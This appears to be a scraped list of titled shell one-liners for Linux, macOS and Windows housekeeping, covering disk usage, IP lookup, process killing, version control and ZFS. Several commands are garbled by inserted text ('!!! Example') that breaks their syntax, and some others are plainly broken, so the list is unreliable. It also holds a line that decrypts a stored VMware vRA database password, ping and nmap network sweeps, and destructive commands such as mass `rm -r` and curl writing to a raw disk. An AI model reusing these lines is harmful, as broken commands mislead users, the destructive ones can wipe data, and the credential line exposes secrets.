List by size all of the directories in a given tree.
SEARCHPATH=/var/; find $SEARCHPATH -type d -print0 | xargs -0 du -s 2> /dev/null | sort -nr | sed 's|^.*'$SEARCHPATH'|'$SEARCHPATH'|' | xargs du -sh 2> /dev/null
enable touchpad
synclient TouchPadOff=0
strip ^M character from files in VI
:%s/<control-VM>//g
Backup a file before editing it.
man emacs
get a random number in bash
echo $[RANDOM % 100] !!! Example "range 0-99
oneliner to open several times same application
i="0"; while [ $i -lt 5 ] ; do xpenguins & i=$[$i+1] ; done
Generate MD5 of string and output only the hash checksum
echo -n "String to MD5" | md5sum | cut -f1 -d' '
grep files by date and delete
ls -ltr |grep 'May 12'|awk '{print $9;}'|xargs rm -v
List your FLAC albums
find -iname '*.flac' | sed 's:/[^/]*$::' | uniq
Get your external IP address
html2text http://checkip.dyndns.org | grep -i 'Current IP Address:'|cut -d' ' -f4
Create dummy file
dd if=/dev/zero of=filename.file bs=1024 count=10240
unpack all rars in current folder
unrar x *.rar
Sync two directories
rsync -a -v --delete sending_directory target_directory
View entire process string
/usr/ucb/ps -auxgww
count number of CPU available for members of a given Virtual Organization
echo `lcg-infosites --vo lhcb ce | cut -f 1| grep [[:digit:]]| tr '\n' '+' |sed -e 's/\ //g' -e 's/+$//'`|bc -l
Get connections from a SSH tunnel
netstat -t -p --extend | grep USERNAME
a find and replace within text-based files
find /path/ -type f -exec grep -l '<string of text>' {} \; | xargs sed -i -e 's%<string of text>%<new text string>%g'
Display live hosts on the network
nmap -sP "$(ip -4 -o route get 1 | cut -d ' ' -f 7)"/24 | grep report | cut -d ' ' -f 5-
Minimize CSS/JS while preserving functionality.
gominify() { if [ $!!! Example "-ne 2 ]; then echo 'gominify < src > < dst >'; return; fi; s="$1"; d="$2"; java -jar yui.jar $s >$d; if [ $? == 0 ]; then a=$( ls -sh $s | awk '{print $1}' ); b=$( ls -sh $d | awk '{print $1}' ); echo "Saved $s ($a) to $d ($b)"; fi;}
Move files older than 30 days in current folder to
find . -mtime +30 -exec mv {} old/ \;
do mvn clean in subdirs to free disk space
find -name pom.xml | while read f; do cd $(dirname "$f"); mvn clean; cd -; done;
watch filesizes (c.f. logfiles, file downloading, etc.)
while [ 1 ]; do date; ls -l /path/to/dir; sleep 1; done
Remove all files previously extracted from a tar(.gz) file.
tar -tf <file.tar.gz> | parallel rm
Batch file suffix renaming
rename -n "s/-.*//" *
read a file with table like data
echo 1 2 3 > FILE; while read -a line; do echo ${line[2]}; done < FILE
Network Interfaces
ip link
generate random password
tr -dc 'a-zA-Z0-9' < /dev/urandom | fold -w 10 | sed 1q
Kill XMMS for a cron job
kill `ps aux | grep xmms | grep -v grep | awk '{ print $2 }'`
clbin: command line pastebin and image host
A handy calculator
bc
add all files not under version control to repository
svn status |grep '\?' |awk '{print $2}'| parallel -Xj1 svn add
Leap year calculation
leapyear() { if [ $[$1 % 4] -eq 0 ] && [ $[$1 % 100] -ne 0 ] || [ $[$1 % 400] -eq 0 ]; then echo $1' is a leap year!'; else echo $1' is not a leap year.'; fi; }
get newest file in current directory
ls -t1 | head -n1
get line#1000 from text.
head -1000 < lines.txt | tail -1
Kill XMMS for a cron job
killall xmms
Print umask as letters (e.g. rwxr-xr-x) instead of number (e.g. 0022)
unix-permissions convert.stat $(unix-permissions invert $(umask))
Back up a PLESK Installation
/opt/psa/bin/pleskbackup server -v --output-file=plesk_server.bak
Check your ip public using dyndns.org
wget -O - -q http://checkip.dyndns.org/ | cut -d':' -f2 | cut -d'<' -f1| cut -c2-
Commit all the changes in your java code
svn st | grep /main/java | awk '{print $2}' | xargs echo | xargs svn ci -m "my comment here"
Check if file is greater than 20 bytes, such as an empty gzip archive
BACKUP_FILE_SIZE=`eval ls -l ${BACKUP_FILE} | awk {'print $5'}`; if [ $BACKUP_FILE_SIZE -le 20 ]; then echo "its empty"; else echo "its not empty"; fi
Minimize CSS/JS while preserving functionality.
java -jar compiler.jar --js file.js
archive all files containing local changes (svn)
svn st | cut -c 9- | parallel -X tar -czvf ../backup.tgz
top
top
search for groups in ldap
ldapsearch -H ldap://localhost:389 -D cn=username,ou=users,dc=domain -x -W -b ou=groups,dc=domain '(member=cn=username,ou=users,dc=domain)' | grep ^dn | sed "s/dn\: cn=\([^,]*\),ou=\([^,]*\),.*/\2 \1/"
Displaying wireless signal on screen in realtime.
watch -n 1 "awk 'NR==3 {print \"Signal strength = \" \$3 \"00 %\"}''' /proc/net/wireless"
One command line web server on port 80 using nc (netcat)
nc -kl 5432 -c 'echo -e "HTTP/1.1 200 OK\r\n$(date)\r\n\r\n";echo "<p>How are you today?</p>"'
Cherry-pick range of commits, starting from the tip of 'master', into 'preview' branch
git rev-list --reverse --topo-order master... | while read rev; do git checkout preview; git cherry-pick $rev || break; done
commit message generator - whatthecommit.com
curl -s http://whatthecommit.com | sed -n '/<p>/,/<\/p>/p' | sed '$d' | sed 's/<p>//'
Get your public IP using chisono.it
wget -O - -q http://www.chisono.it/ip.asp && echo
List top ten files/directories sorted by size
du -s * | sort -nr | head | cut -f2 | parallel -k du -sh
bookmarklet for commandlinefu.com search
echo "javascript:location.href='http://www.commandlinefu.com/commands/matching/'+encodeURIComponent('%s')+'/'+btoa('%s')+'/sort-by-votes'"
Search and replace in VIM
:%s/foo/bar/g
iiterate through argument list and pass to command
yes|for x in one two three; do echo result - $x; done
geoip information
geoip() { wget -qO - http://freegeoip.net/xml/$1 | sed '3,12!d;s/<//g;s/>/: /g;s/\/.*//g' ; }
count how many times a string appears in a (source code) tree
grep -rc logged_in app/ | cut -d : -f 2 | awk '{sum+=$1} END {print sum}'
having root on server, add user's public key to his keys (no password required)
cat user_public_key.pub | ssh root@<host> "cat | su -c 'mkdir -m 700 -p ~/.ssh && cat >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys' <user>"
AWS s3api CLI can be used to filter objects in a S3 bucket based on the Last Modified Date using the –query filter.
aws s3api list-objects-v2 --bucket my-bucket --query 'Contents[?LastModified>`2022-01-01`].Key'
List the vms in Virtualbox and start them using dmenu
vboxmanage startvm --type gui $(vboxmanage list vms | sed -e 's/"//g' | cut -f1 -d ' ' | dmenu -i -p "VMs")
How to add an "alternate access mapping" from the command line
stsadm -o addalternatedomain -url http://paperino.paperopoli.com -urlzone Internet -incomingurl http://quiquoqua.paperopoli.com
Creates a random passwort from /dev/urandom [0-9A-za-z]
head -c $((<pw-lenght>-2)) /dev/urandom | uuencode -m - | sed -e '1d' -e '3d' | sed -e 's/=.*$//g'
Reading my nic's mac address
ifconfig | grep eth | awk '{print $5}'
Get a list of all contributors to an SVN repo
svn log -q | grep -v "^-" | cut -d "|" -f 2 | sort -u
exec chmod to subfiles
find . -type f -print0 | xargs -0 chmod a-x
Compare two directory trees.
diff -qr <dir1> <dir2>
List installed hardware
kudzu -p
Find size of the files in this directory tree. (sorted)
find . -type f -exec ls -s \{\} \; | sort -n
Find all the hidden dot files
find ./path_to_dir -type f -name '.*'
Shows your WAN IP, when you`re sitting behind a router
alias myip='curl -s www.wieistmeineip.de | egrep -o "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}"'
search for a pattern (regex) in all text files (ignoring binary files) in a directory tree
egrep -i "somepattern" `find . -type f -print`
BASH: Print shell variable into AWK
VAR="foo" ; awk '{ print '"$VAR"' }'
Kill the terminal(window/tab) you work in [suicide]
kill -9 $$
Print all lines containing the word 'jan' to a new file.
sed -n '/jan\|Jan\|JAN\|JAn\|jAn\|jAN\|jaN/p' data.txt > jan-only-data.txt
show large folders and files, including hidden
du -shc .[^.]* * | grep [MG]
Get My Public IP Address
links2 -dump http://checkip.dyndns.com| egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
Recursively calculate and dump md5 sums of all files within a directory
find . -type f -name '*' -exec md5sum '{}' + > hashes.txt
Hiding ur evil intent! Shame on you!
echo 'doing something very evil' >/dev/null && echo doing something very nice!
Colour part of your prompt red to indicate an error
export PS1='[\[\e[36;1m\]\u@\[\e[32;1m\]\h \[\e[31;1m\]\w]!!! Example "\[\e[0m\]'
Convert HH:MM:SS into seconds
echo 00:29:36 | sed s/:/*60+/g | bc
look what's running
for a in $(ls /usr/sbin /usr/bin); do ps -fC $a;done|grep -v PPID
restart Bluetooth from terminal
$ sudo systemctl restart bluetooth
Get all links of a website
wget -O- -q http://www.nomachine.com/download-package.php?Prod_Id=2067 | sed -n -e 'H;${x;s/\n/ /g;p;}' | sed -e "s/[Hh][Rr][Ee][Ff]=\"/\n/g" | cut -d "\"" -f1 | sort -u | grep deb$
Enable tab completion for known SSH hosts
complete -W "$(echo `cat ~/.ssh/known_hosts | cut -f 1 -d ' ' | sed -e s/,.*//g | uniq | grep -v "\["`;)" ssh
Search for a running process through grep
ps -e | grep SearchStringHere
Get your external IP address
wget http://checkip.dyndns.org && clear && echo && echo My IP && egrep -o '([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}' index.html && echo && rm index.html
psgrep
pgrep <name>
Removing Backgroud Process
kill -9 `ps -u user -o "pid="`
Get the latest version of phpMyAdmin
wget http://tools.web4host.net/versions.tmp --quiet -O - | grep PHPMYADMIN | sed 's/PHPMYADMIN=//' | cat
alias for lsof -i -T -n
alias lso="sudo lsof -i -T -n"
Get the host from where you logged in
who -m | sed 's/.*(\(.*\)).*/\1/'
test connection if ICMP is disabled
telnet <ip> <port>
Download all files under http://codeigniter.com/user_guide/ to the current directory
wget -r --no-parent http://codeigniter.com/user_guide/ ; mv codeigniter.com/user_guide/* . ; rm -rf codeigniter.com
Random number less than X
RANGE=500;number=$RANDOM let "number %= $RANGE"; echo "Random number less than $RANGE --- $number"
Get all links of a website
lynx -dump http://www.domain.com | grep http| awk '{print $2 }'
Simultaneously running different Firefox profiles
firefox -ProfileManager -no-remote
keytool view all entries in a keystore with BouncyCastle as security provider
keytool -list -providerpath bcprov-jdk15on-1.60.jar -provider org.bouncycastle.jce.provider.BouncyCastleProvider -storetype BCPKCS12 -storepass <passphrase> -keystore <filename>
View new log messages in real time
tail -f /var/log/messages
Find the svn directory that a commit was made in. Usefull if you have many projects in one repository.
echo "12345,12346" |sed -e's/ //'|tr "," "\n"| while read line; do echo -n $line" "; svn log -vr $line https://url/to/svn/repository/|grep "/"|head -1|cut -d"/" -f2; done
Find out the starting directory of a script
current_dir=$(cd $(dirname $BASH_SOURCE);pwd)
Check if TCP port 25 is open
sudo lsof -iTCP:25
find and kill a pid for APP
ps -ef | grep APP | awk '/grep/!{print$2}' | xargs -i kill {}
change to the previous working directory
cd $OLDPWD
kill all processes with name or argument
pkill -f foo
Sort all the ".dat" files in current directory by column 3 (change it accordingly), and replace the sorted one with original.
for x in *.dat;do sort -k 3 $x >tmp && mv -f tmp $x;done
strace -T -f -p
Show syscalls for parent and all child threads with execution time
delete duplicate files
yes 1 | fdupes -rd $folder
Opens the ubuntu file browser from current directory.
nautilus "$pwd"
Laminate a file
awk '{print(substr($0,1,5))}' file
Shows users and 'virtual users' on your a unix-type system
cut -d: -f1 /etc/passwd | sort
Get all links of a website
lynx -dump http://domaim.com | egrep -o -e 'http://[/0-9a-z.]+html'
Check if TCP port 25 is open
netstat -lntp
Random Decimal in the interval 0 ≤ n < 1 and 2d6 dice roll
awk 'BEGIN { srand(); print rand() }'
Show the UUID of a filesystem or partition
ls /dev/disk/by-uuid/ -alh
List your MACs address
cat `ls -r /sys/class/net/*/address` | sort -u
Linux record terminal session and replay
script -t 2> timing.txt -a session.txt ; Run some commands here; exit; scriptreplay timing.txt session.txt
Show all "python" executables
type -a python
Open frequnet/recent file mathcing "movie" with mplayer using f
f -f -e mplayer movie
Get the IP address of a machine. Just the IP, no junk.
ifconfig -a | awk '/Bcast/{print $2}' | cut -c 5-19
Search for a process by name
psg(){ ps aux | grep -E "[${1:0:1}]${1:1}|^USER"; }
create tar.gz archive
tar -pczf archive_name.tar.gz /path/to/dir/or/file
Find 'foo' in located files
locate searchstring | xargs grep foo
Echo the local IP addresses of the machines on your local network
for i in 192.168.1.{61..71};do ping -c 1 $i &> /dev/null && echo $i;fi;done
How far is Mac OS X 10.6 from 64-bit?
file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -i x86_64 |nl | tail -1 | cut -f1 -f3; file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -i "mach-o object i386" |nl | tail -1 | cut -f1 -f3
Show Network IP and Subnet
IP=`ifconfig eth0 | grep "inet addr:" | ips |cut -d ":" -f 2 | cut -d " " -f 1`;SUBNET=`ifconfig eth0 | grep "inet addr:" | ips |cut -d ":" -f 3 | cut -d " " -f 1`;RANGE=`ipcalc $IP/$SUBNET | grep "Network:" | cut -d ' ' -f 4`;echo $RANGE
paged 'ls' in color
ls -lah --color=always | most
finds all files in dir and replaces
find . -type f -exec sed -i 's/gw10./gw17./g' {} \;
Show all cowsay's available cowfiles
cowsay -l | sed '1d;s/ /\n/g' | while read f; do cowsay -f $f $f;done
Look for jQuery version script include in files asp\(, *htm*\) ie. not *.aspx.cs
find . \( -name "*.as[pc]x" -o -name "*.htm*" \) -exec grep -Hi "jquery-1" {} +
command line calculator (zsh version)
zc () { for exp in $argv; do print "$exp = $(( exp ))"; done; }
Recompress all files in current directory from gzip to bzip2
find . -type f -name '*.gz'|awk '{print "zcat", $1, "| bzip2 -c >", $0.".tmp", "&& rename", "s/.gz.tmp/.bz2/", "*.gz.tmp", "&& rm", $0}'|bash
Find the average QTime for all queries ran within the last hour for solr
cat /service/solr/log/main/current | tai64nlocal | grep "\(`date '+%F %H'`\|`date '+%F %H %M' | awk '{print $1" 0"$2-1":"$3}'`\)" | grep QTime | awk '{print $NF}' | awk -F\= '{ s += $2} END {print s/NR}'
Get name of first configured interface
ifconfig | grep -B 1 "inet addr:" | head -1 | cut -d" " -f1
Show local IP
ifconfig eth0 | grep "inet:" | cut -d ":" -f2 | cut -d " " -f1
pass CHINA GFW
plink -v -ssh -N -D 8580 -l USERNAME -pw PASSWARD 192.168.2.12
AIX - gzip command to compress a file
gzip -c source.csv > source.csv.gz
開いてるポートを調べる
lsof -i -n -P
edit files in current and subdir, remove all lines that containing certain string
grep -r "sampleString" . |uniq | cut -d: -f1 | xargs sed -i "/sampleString/d"
Easy Regex based mass renaming
ls /some/directory | sed -rn -e 's/input_file_regex/mv -v & output_file_name/p' | sh
Set background image to random file from current dir.
feh --bg-center `ls -U1 |sort -R |head -1`
Simple tar
tar -cvzf file.tar.gz path
Script para hacer un acopia d ela base de datos mysql
FECHA=$(date +"%F") FINAL="$FECHA.sql.gz" mysqldump -h localhost -u user --password="pass" --opt jdiaz61_lupajuridica | gzip > /home/jdiaz61/www/backup/$FINAL
Find all files and append to file
find . type f -exec echo http://exg.com/{} \; > file
Set background image to random file from current dir.
feh --bg-center `ls | shuf -n 1`
Get me only those jpeg files!
wget --mirror -A.jpg http://www.xs4all.nl/~dassel/wall/
Get the IP address of a machine
ifdata -pN eth0
Find default gateway
route -n | awk '$2 ~/[1-9]+/ {print $2;}'
Re-execute a command using a saved /proc/pid/cmdline file
tail -zn+2 $CMDLINE_FILENAME | xargs -0 $COMMAND
Creating a RAID-Z Storage Pool
zpool create tank raidz c0t0d0 c0t1d0 c0t2d0 c0t3d0 c0t4d0 c0t5d0
Get ethX mac addresses
sudo ifconfig -a | grep eth | grep HW | cut -d' ' -f11
Get your public IP using chisono.it
curl http://www.chisono.it/ip.asp
creates or attachs to screen
screen -r irc || screen -S irc irssi
Edit any script executable by the user.
nano `which script`
Creating a Mirrored Storage Pool using Zpool
zpool create tank mirror c0t0d0 c0t1d0 mirror c0t2d0 c0t3d0
Change password in list of xml files with for and sed
for i in *.xml; do sed -i 's/foo/bar/g' "$i"; done
if download end,shutdown
for ((;;)) do pgrep wget ||shutdown -h now; sleep 5; done
Rename files in a directory in an edited list fashion
ls > ls; paste ls ls > ren; nano ren; sed 's/^/mv /' ren|bash; rm ren ls
Poor man's unsort (randomize lines)
sort --random-sort file
Open a file with less and go to first match of pattern
less -p pattern file.txt
Resize images with mogrify with lots of options
find . -name '*.jpg' -o -name '*.JPG' | xargs -I{} mogrify -resize 1024">" -quality 40 {}
Easy way to check memory consumption
free -m
Creating a ZFS Storage Pool by Using Files
zpool create tank /path/to/file/a /path/to/file/b
Remove .svn dirs
find . -name ".svn" -type d -exec rm -rf {} \;
upload video to ompload (* not yet tested, let me know if works)
ompload() { wget -O- - "$1" --quiet|curl -!!! Example "-F file1=@- http://ompldr.org/upload|awk '/Info:|File:|Thumbnail:|BBCode:/{gsub(/<[^<]*?\/?>/,"");$1=$1;print}';}
remove OSX resource forks ._ files
rm -f `find ./ | grep "\.\_.*"`
Echo several blank lines
perl -e 'print "\n"x100'
a simple bash one-liner to create php file and call php function
echo '<?php echo str_rot13 ("Hello World") ?>' > hw.php && php hw.php && rm hw.php
Pulseaudio: play line-in through your speakers
arecord|aplay
Killing multiplpe process for one program like apache, wget, postfix etc.
ps aux| grep -v grep| grep httpd| awk {'print $2'}| xargs kill -9
Find out local DISPLAY number
export DISPLAY=$(tr '\000' '\n' < /proc/`pidof Xorg`/cmdline | egrep '^:[0-9]+')
Make perl crash
perl -e '$x = []; push @$x, eval { $x = 1; return $x = 1; }'
Fix grub2 boot failure using live cd
sudo grub-install --root-directory=/media/ubuntu /dev/sda
Finding hostname and the IP Address of your machine
host `hostname`
Recursive Line Count
wc -l `find . -name *.php`
view file content with echo
echo "$(</etc/issue)"
Speak your horoscope with the command line
curl -s 'http://www.trynt.com/astrology-horoscope-api/v2/?m=2&d=23' | xmlstarlet sel -t -m '//horoscope' -v 'horoscope' | festival --tts
Execute commands from a file in the current shell
. filename [arguments]
Add a custom package repository to apt sources.list
echo "[some repository]" | sudo tee -a /etc/apt/sources.list
Directly change directory without having to specify drive letter change command
cd /d d:\Windows
IP address of current host
hostname -i
simple echo of IPv4 IP addresses assigned to a machine
ifconfig | awk '/inet addr/ {print $2 }' | sed 's/.*://g'
List content of a package (debian derivative distro)
dpkg -L Your_Package
Forward remote server CUPS port to localhost
ssh -NL 12345:localhost:631 username@remote_server
set the time of system
sudo date mmddhhxxyyyy
Command for getting the list of files with perms, owners, groups info. Useful to find the checksum of 2 machines/images.
find / | xargs ls -l | tr -s ' ' | cut -d ' ' -f 1,3,4,9
find dis1k space
du -s `find . -maxdepth 1 \! -name '.'` | sort -n | tail
umount all nfs mounts on machine
mount | awk '/:/ { print $3 } ' | xargs sudo umount
Show the meta information on a package (dependency , statuts ..) on debian derivative distro
apt-cache show Your_package
Monitoring a port connections
while true ; do sleep 1 ; clear ; (netstat -tn | grep -P ':36089\s+\d') ; done
repeat any string or char n times without spaces between
echo -e $_{1..80}'\b+'
Transforms a file to all uppercase.
perl -pi -e 's/([[:lower:]]+)/uc $1/gsex' file
Find files modified in the last 5 days, no more than 2 levels deep in the current directory.
find . -type f -depth -3 -mtime -5
Killing multiplpe process for one program like apache, wget, postfix etc.
ps ax| awk '/[h]ttpd/{print $1}'| xargs kill -9
Find Files over 20Meg
find / -type f -size +20000k -exec ls -lh {} \; | awk '{ print $9 ": " $5 }'
build cscope.out from all *.{h,cpp}, but ignore hidden files
find `pwd` -name '.*' -prune -o \( -name *.h -o -name *.cpp \) -print | cscope -bi-
tail a log over ssh
ssh remotebox tail -f /var/log/remotelog
Quick alias for case-insensitive grep
alias grip="grep -i"
Read just the IP address of a device
ifconfig $DEVICE | perl -lne '/inet addr:([\d.]+)/ and print $1'
MS-DOS only: Loop over array of system variable with each var containing multiple values
FOR /F "tokens=3* delims=[]=," %A IN ('SET ARRAY[') DO ( echo %A -- %B )
Convert files with CR-terminated lines (as created by Mac OS X programs) into NL-terminated lines suitable for Unix programs
function crtonl { perl -i -ape 's/\r\n?/\n/g;' $* ; }
Read just the IP address of a device
/sbin/ifconfig eth0 | grep "inet addr" | sed -e 's/.*inet addr:\(.*\) B.*/\1/g'
Ruby - nslookup against a list of IPs or FQDNs
ruby -e 'File.foreach("list") {|i| print `nslookup #{i}`}'
Delete all files from a locate output
locate munin | xargs rm -r
Set your computer's clock, using HTTP and HTP (HTTP Time Protocol), when NTP/SNTP is not available
htpdate -P proxy www.google.com www.yahoo.com www.commandlinefu.com
ssh autocomplete
complete -W "$(while IFS=' ,' read host t; do echo $host; done < ~/.ssh/known_hosts)" ssh
Find the correct PID
pss() { ps -eo pid,args | sed '/'"$1"'/!d;/sed/d' ; }
Echo PID of the current running command
command & echo $!
find files owned by root and make them your own again
find . -user root | xargs sudo chown me:me
Show regular expressions on directory list
lgrep() { /bin/ls -A --color=always ${2:-.} | /bin/grep $1 ; }
Lists all listening ports together with the PID of the associated process
netstat -tunlp
Calculate 12 + 22 + 3**2 + …
seq -s^2+ 11 |rev| cut -d'+' -f2- | rev | bc
Find the correct PID
pgrep -fl
Print a row of 50 hyphens
printf "%50s\n"|tr ' ' -
Display clock in terminal
watch -n 1 :
Prefix file contents with filename
for i in $(seq 1 20); do while read line; do echo "$i: $line"; done<$i.py; done
Get the password for PostgreSQL backend db for VMware vRA
grep -i s2enc /etc/vcac/server.xml | sed -e 's/.* password=\"\([^\"]*\)\".*/\1/' | xargs -n 1 vcac-config prop-util -d --p 2>/dev/null; echo
Print sorted list of all installed packages (Debian)
perl -m'AptPkg::Cache' -le '$c=AptPkg::Cache->new; for (keys %$c){ push @a, $_ if $c->{$_}->{'CurrentState'} eq 'Installed';} print for sort @a;'
Get Yesterday's Date
YEST=`perl -w -e '@yest=localtime(time-86400);printf "%d%.2d%.2d",$yest[5]+1900,$yest[4]+1,$yest[3];'`
Normalize volume in your mp3 library
find . -type d -exec sh -c "normalize-audio -b \"{}\"/*.mp3" \;
Get Tomorrow's Date
TOM=`perl -w -e '@tom=localtime(time+86400);printf "%d%.2d%.2d",$tom[5]+1900,$tom[4]+1,$tom[3];'`
VIM subst any char different from literal
:g/\n"/jo
List path of binaries
echo $PATH|awk -F: ' { for (i=1; i <= NF; i++) print $i }'
Generate background office noise using Digg feeds and OSX.
IFS=`echo -en "\n\b"`; for i in $(curl http://feeds.digg.com/digg/container/technology/popular.rss | grep '<title>' | sed -e 's#<[^>]*>##g' | tail -n10); do echo $i; echo $i | sed 's/^/Did you hear about /g' | say; sleep 30; done
substitute in each buffer in the buffer list
:bufdo %s/foo/bar/ge | up
Print sorted list of all installed packages (Debian)
dpkg --get-selections | awk '$2=="install" {print $1}' | sort
dont forget commands of old profile
wget http://www.commandlinefu.com/commands/by/e7__7dal
(Debian/Ubuntu) Discover what package a file belongs to
pacof -e rlogin
Add a controller to a VirtualBox
VBoxManage storageattach "volpedimongibello" --storagectl "fighetto" --port 1 --device 0 --type dvddrive --medium "/tanto/mipaghi/tutto.iso
shrink firefox database
find ~/.mozilla -name '*.sqlite' -exec sqlite3 {} VACUUM \;
display a tab separated file as columns
col_look(){ column -nts$'\t' "$1" | less -SN#2 }
To retrieve a normal prompt
PS1='$PWD$ '
Resample MP3's to 44.1kHz
file /music/dir/* | grep -v 44.1 | sed 's/:.*//g' | grep .mp3 | { while IFS= read; do filebak="\"$REPLY.original\""; file="\"$REPLY\""; mv $file $filebak; sox -t mp3 $filebak $file rate 44k; done; };
View memory utilisation
sar -r
check the status of 'dd' in progress
while killall -USR1 dd; do sleep 5; done
Save lines unique to file2
comm -13 <(sort file1) <(sort file2) > file-new
easly monitor mem usage
watch -n1 --differences cat /proc/meminfo
Blinking, Color Highlighted search for input/output and files, like grep –color
hb(){ sed "s/\($*\)/`tput setaf 2;tput setab 0;tput blink`\1`tput sgr0`/gI"; }
Simple Find
find / -name FILENAME
Changing Hostname on Mac OS X
sudo scutil --set HostName MY_NEW_HOSTNAME
Update all GPG keys in your keyring
gpg --refresh-keys
Get all the reference docs for OS X from Apples Developer Connection site
wget -nd -nH -r -A pdf -I library/mac/documentation/ http://developer.apple.com/library/mac/navigation/#section=Resource%20Types&topic=Reference
Push all local branches to remote repo
git push origin --all
Concatenate Multiple Text Files in Windows
for %%f in (*.json) do type %%f >> aggregate.json
kill defunct processes by killing their parents
ps afx | grep defunct -B 1 | grep -Eo "[0-9]{3,}" | xargs kill -9
loop files with SPACES on their names
for f in *;do echo $f;done
From an SVN working directory, open the corresponding repository directory in your favorite browser
xdg-open $(svn info | sed -n '/URL:/s/URL: //p')
don't auto run gdm
sudo update-rc.d -f gdm remove
Forget fortunes in your terminal this grabs a random
wget -qO - snubster.com|sed -n '65p'|awk 'gsub(/<span><br>.*/,"")&&1'|perl -p -e 's:myScroller1.addItem\("<span class=atHeaderOrange>::g;s:</span> <span class=snubFontSmall>::g;s:":":g;s:^:\n:g;s:$:\n:'
Delete all but the latest 5 files
ls -t | awk 'NR>5 {system("rm \"" $0 "\"")}'
Watch for blocked NGINX processes for tuning purposes
> /tmp/psup.log; watch "ps up $(pgrep -d, -x nginx) | grep -v STAT | awk '{print $8}' | grep -c [ZUTD] >> /tmp/psup.log; tail -n 22 /tmp/psup.log"
open ports with iptables
sudo iptables -I INPUT -p tcp --dport 3000 -j ACCEPT
bulk rename files with sed, one-liner
for f in *; do mv "$f" "${f/foo/bar}"; done
Reload gnome-panel
pgrep -lf gnome-panel | awk '{if ($2=="gnome-panel") print $1}' | xargs kill -9
Ping scanning without nmap
prefix="10.0.0" && for i in `seq 25`; do ping -c 1 $prefix.$i &> /dev/null && echo "Answer from: $prefix.$i" ; done
check open ports (both ipv4 and ipv6)
lsof -Pi | grep LISTEN
Write a bootable Linux .iso file directly to a USB-stick (macOS edition)
sudo curl -L -o /dev/disk4 https://some-distributor.org/some-distro.iso
hexadecimal2decimal
printf "%d\n" \0x64
To reduce the size of saved webpages
find /path/to/webpages -type f -name '*.js' -exec 'rm' '{}' \;
Chmod all files (excluding directories)
find public_html/ -type f -exec chmod 664 {} \;
rkhunter (Rootkit Hunter) is a Unix-based tool that scans for rootkits, backdoors and possible local exploits. rkhunter is a shell script which carries out various checks on the local system to try and detect known rootkits and malware. It also performs c
rkhunter --check
Open file with sudo when there is no write-permission
if test -w $1; then vim $1; else sudo vim $1; fi
Selecting a random file/folder of a folder
for i in *; do echo "$i"; done | shuf -n1
Graphical tree of sub-directories
tree
create backup for all files from current dir
find . -maxdepth 1 -type f -print0 | xargs -0 -i cp ./{}{,.bak}
Grep with one result at a time
search="whatyouwant";data=$(grep "$search" * -R --exclude-dir=.svn -B2 -A2);for((i=$(echo "$data" | wc -l);$i>0;i=$(($i-6)) )); do clear;echo "$data"| tail -n $i | head -n 5; read;done
Get memory total from /proc/meminfo in Gigs
memnum=$(awk '{ print $2 }' /proc/meminfo |head -n1); echo "$memnum / 1024 / 1024" | bc -l
Show files and subdirectories in Terminal and copy output into a file
ls -la | tee ~/log.txt
Serve the current directory at http://localhost:8000/
python -m SimpleHTTPServer
External IP
curl www.whatismyip.org
Get your current Public IP
curl icanhazip.com
Launch an Explorer window with a file selected
explorer /select,[file]
monitor the operation of a MySQL application in real time
mtop se -1
List your MACs address
ip addr show eth0 | grep ether | awk '{print $2}'
Add some color to ls
eval "`dircolors -b`"
Get your local/private IP
localIP() { ifconfig ${1:--a} | sed '/Link encap\|inet\|6 addr/!d;s/Link encap.*$//;s/.*inet addr:\([0-9\.]*\).*/\1/g;s/.*inet6 addr: \(.*\) .*/\1/g' ; }
get linkspeed, ip-adress, mac-address and processor type from osx
echo "-------------" >> nicinfo.txt; echo "computer name x" >> nicinfo.txt; ifconfig | grep status >> nicinfo.txt; ifconfig | grep inet >> nicinfo.txt; ifconfig | grep ether >> nicinfo.txt; hostinfo | grep type >> nicinfo.txt;
Fast, built-in pipe-based data sink
command >&-
Check failed logins from ipop service at some time given at linux
more /var/log/auth.log |grep "month"|grep ipop|grep "failed"|wc -l
Generate SHA1 hash for each file in a list
sha1sum * >> SHA1SUMS
Toggle the Touchpad on or off
xinput list | grep -i touchpad
regex to match an ip
echo "123.32.12.134" | grep -P '([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])'
list current ssh clients
netstat -atn | grep :22 | grep ESTABLISHED | awk '{print $4}' | sed 's/:22//'
List files in tarballs
find <path> -name "*.tgz" -or -name "*.tar.gz" | while read file; do echo "$file: "; tar -tzf $file; done
Copy files over network using compression
on the listening side: sudo nc -lp 2022 | sudo tar -xvf - and on the sending side: tar -cvzf - ./*| nc -w 3 name_of_listening_host 2022
Turn Regular quotes ("") into curly quotes (??)
smartypants | php -r "echo mb_decode_numericentity(file_get_contents('php://stdin'),array(0x0000,0xFFFF,0x0000,0xFFFF),'UTF-8');"
Display the open files for a process in AIX
svmon -P [PID] -O filename=on
find files containing specifc pattern on filename and specific patternts in its content, open all in textmate
find . -name "*noticia*" -name "*jhtm*" -name "*.tpl" -exec grep -li "id=\"col-direita\"" '{}' \; | xargs -n1 mate
where am I in google map?
curl -s http://geoiplookup.wikimedia.org/ | python3 -c 'import sys, json, string, webbrowser; webbrowser.open(string.Template("http://maps.google.com/maps?q=$lat,$lon").substitute(json.loads(sys.stdin.read().split("=")[-1])))'
Nice way to view source code
over myscript.sh
Get all IPs via ifconfig
ifconfig | grep "inet addr" | cut -d: -f2 | cut -d' ' -f1
shutdown pc in a 4 hours
echo "shutdown -h now" | sudo at now + 4 hours
html formatting
curl --silent http://exsample.com/ | xmllint --html --format - | more
Display lines with a given string
look mysql /etc/group
Get a list of all browsable Samba shares on the target server.
smbclient -N -gL \\SambaServer 2>&1 | grep -e "Disk|" | cut -d'|' -f2
Exclude a file or folder from Microsoft Forefront's scanning engine
